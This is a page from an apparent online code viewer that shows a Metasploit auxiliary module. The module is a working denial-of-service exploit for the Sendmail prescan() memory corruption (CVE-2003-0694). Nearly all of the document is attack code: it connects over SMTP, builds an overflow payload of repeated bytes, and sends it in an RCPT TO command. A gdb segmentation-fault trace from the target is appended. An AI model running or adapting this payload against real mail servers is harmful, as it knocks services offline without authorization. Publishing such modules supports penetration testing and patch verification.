Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/dos/smtp/sendmail_prescan.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Smtp7include Msf::Auxiliary::Dos89def initialize(info = {})10super(update_info(info,11'Name' => 'Sendmail SMTP Address prescan Memory Corruption',12'Description' => %q{13This is a proof of concept denial of service module for Sendmail versions148.12.8 and earlier. The vulnerability is within the prescan() method when15parsing SMTP headers. Due to the prescan function, only 0x5c and 0x0016bytes can be used, limiting the likelihood for arbitrary code execution.17},18'Author' => [ 'aushack' ],19'References' =>20[21[ 'OSVDB', '2577' ],22[ 'CVE', '2003-0694' ],23[ 'BID', '8641' ],24[ 'EDB', '24' ]25],26'DisclosureDate' => '2003-09-17'))27end2829def run30begin31connect32# we use connect instead of connect_login,33# because we send our own malicious RCPT.34# however we want to make use of MAILFROM35# and raw_send_recv()36#select(nil,nil,nil,23) # so we can attach gdb to the child PID3738sploit = ("A" * 255 + ";") * 4 + "A" * 217 + ";" + "\x5c\xff" * 283940raw_send_recv("EHLO X\r\n")41raw_send_recv("MAIL FROM: #{datastore['MAILFROM']}\r\n")42print_status("Sending DoS packet.")43raw_send_recv("RCPT TO: #{sploit}\r\n")4445disconnect46rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout47print_status("Couldn't connect to #{rhost}:#{rport}")48rescue ::EOFError49print_status("Sendmail stopped responding after sending trigger - target vulnerable.")50end5152end53end5455=begin56Program received signal SIGSEGV, Segmentation fault.570x8073499 in ?? ()58(gdb) bt59#0 0x807e499 in ?? ()60#1 0x087e125 in ?? ()61#2 0x5c5c5c5c in ?? ()62Error accessing memory address 0x5c5c5c5c: Bad address.63=end646566